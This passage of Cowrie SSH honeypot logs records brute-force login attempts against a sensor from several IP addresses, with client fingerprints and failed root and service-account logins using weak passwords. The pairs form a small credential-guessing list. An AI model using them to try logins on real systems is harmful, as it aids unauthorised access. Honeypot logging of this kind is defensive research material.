0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:37.510975Z","src_ip":"45.153.34.114","session":"0c8fadbf7546","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd123","message":"login attempt [root/asd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:37.769615Z","src_ip":"45.153.34.114","session":"0c8fadbf7546","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:38.566326Z","src_ip":"20.203.42.204","session":"7f706eacaac9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:38.858937Z","src_ip":"45.153.34.114","session":"0c8fadbf7546","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":37760,"dst_ip":"159.203.135.109","dst_port":22,"session":"64dfe31a232c","protocol":"ssh","message":"New connection: 45.153.34.114:37760 (159.203.135.109:22) [session: 64dfe31a232c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:45.764674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:45.780840Z","src_ip":"45.153.34.114","session":"64dfe31a232c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:45.873295Z","src_ip":"45.153.34.114","session":"64dfe31a232c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazxsw2","message":"login attempt [root/1qazxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:46.161699Z","src_ip":"45.153.34.114","session":"64dfe31a232c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":60506,"dst_ip":"10.17.0.5","dst_port":22,"session":"805bdc521fa6","protocol":"ssh","message":"New connection: 80.94.92.182:60506 (10.17.0.5:22) [session: 805bdc521fa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:47.203499Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:47.257079Z","src_ip":"45.153.34.114","session":"64dfe31a232c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:47.496286Z","src_ip":"80.94.92.182","session":"805bdc521fa6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:47.499362Z","src_ip":"80.94.92.182","session":"805bdc521fa6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ps","password":"123456","message":"login attempt [ps/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:49.060247Z","src_ip":"80.94.92.182","session":"805bdc521fa6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:50.276383Z","src_ip":"80.94.92.182","session":"805bdc521fa6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":37174,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f3db5625007","protocol":"ssh","message":"New connection: 45.153.34.114:37174 (159.203.135.109:22) [session: 9f3db5625007]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:53.942796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:53.949831Z","src_ip":"45.153.34.114","session":"9f3db5625007","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:54.037367Z","src_ip":"45.153.34.114","session":"9f3db5625007","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"123456","message":"login attempt [sonar/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:54.305884Z","src_ip":"45.153.34.114","session":"9f3db5625007","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":40646,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d59a773db8a","protocol":"ssh","message":"New connection: 103.75.199.4:40646 (159.203.135.109:22) [session: 5d59a773db8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:54.388089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:54.391644Z","src_ip":"103.75.199.4","session":"5d59a773db8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:54.482396Z","src_ip":"103.75.199.4","session":"5d59a773db8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd1234","message":"login attempt [root/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:54.755244Z","src_ip":"103.75.199.4","session":"5d59a773db8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:55.526140Z","src_ip":"45.153.34.114","session":"9f3db5625007","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:55.848479Z","src_ip":"103.75.199.4","session":"5d59a773db8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":52708,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3cf800ca051","protocol":"ssh","message":"New connection: 45.153.34.114:52708 (159.203.135.109:22) [session: c3cf800ca051]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:53:02.025105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:53:02.029904Z","src_ip":"45.153.34.114","session":"c3cf800ca051","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:53:02.119503Z","src_ip":"45.153.34.114","session":"c3cf800ca051","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aB123456","message":"login attempt [root/aB123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:53:02.388278Z","src_ip":"45.153.34.114","session":"c3cf800ca051","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:53:03.478295Z","src_ip":"45.153.34.114","session":"c3cf800ca051","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":54280,"dst_ip":"159.203.135.109","dst_port":22,"session":"5dd41683ab3f","protocol":"ssh","message":"New connection: 45.153.34.114:54280 (159.203.135.109:22) [session: 5dd41683ab3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:53:09.969527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:53:09.974010Z","src_ip":"45.153.34.114","session":"5dd41683ab3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:53:10.065284Z","src_ip":"45.153.34.114","session":"5dd41683ab3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root.123","message":"login attempt [root/root.123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:53:10.345511Z","src_ip":"45.153.34.114","session":"5dd41683ab3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:53:11.446307Z","src_ip":"45.153.34.114","session":"5dd41683ab3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":39872,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0712c21f1e1","protocol":"ssh","message":"New connection: 103.75.199.4:39872 (159.203.135.109:22) [session: b0712c21f1e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:53:16.227038Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:53:16.235171Z","src_ip":"103.75.199.4","session":"b0712c21f1e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:53:16.331477Z","src_ip":"103.75.199.4","session":"b0712c21f1e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd123","message":"login attempt [root/asd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:53:16.617786Z","src_ip":"103.75.199.4","session":"b0712c21f1e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:53:17.717692Z","src_ip":"103.75.199.4","session":"b0712c21f1e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":54292,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc5b8a380948","protocol":"ssh","message":"New connection: 45.153.34.114:54292 (159.203.135.109:22) [session: dc5b8a380948]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:53:18.111866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:53:18.116012Z","src_ip":"45.153.34.114","session":"dc5b8a380948","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:53:18.201876Z","src_ip":"45.153.34.114","session":"dc5b8a380948","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"null","message":"login attempt [root/null] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:53:18.460806Z","src_ip":"45.153.34.114","session":"dc5b8a380948","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:53:19.553214Z","src_ip":"45.153.34.114","session":"dc5b8a380948","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":35826,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f41bf2d9ff6","protocol":"ssh","message":"New connection: 45.153.34.114:35826 (159.203.135.109:22) [session: 5f41bf2d9ff6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:53:26.145063Z"}
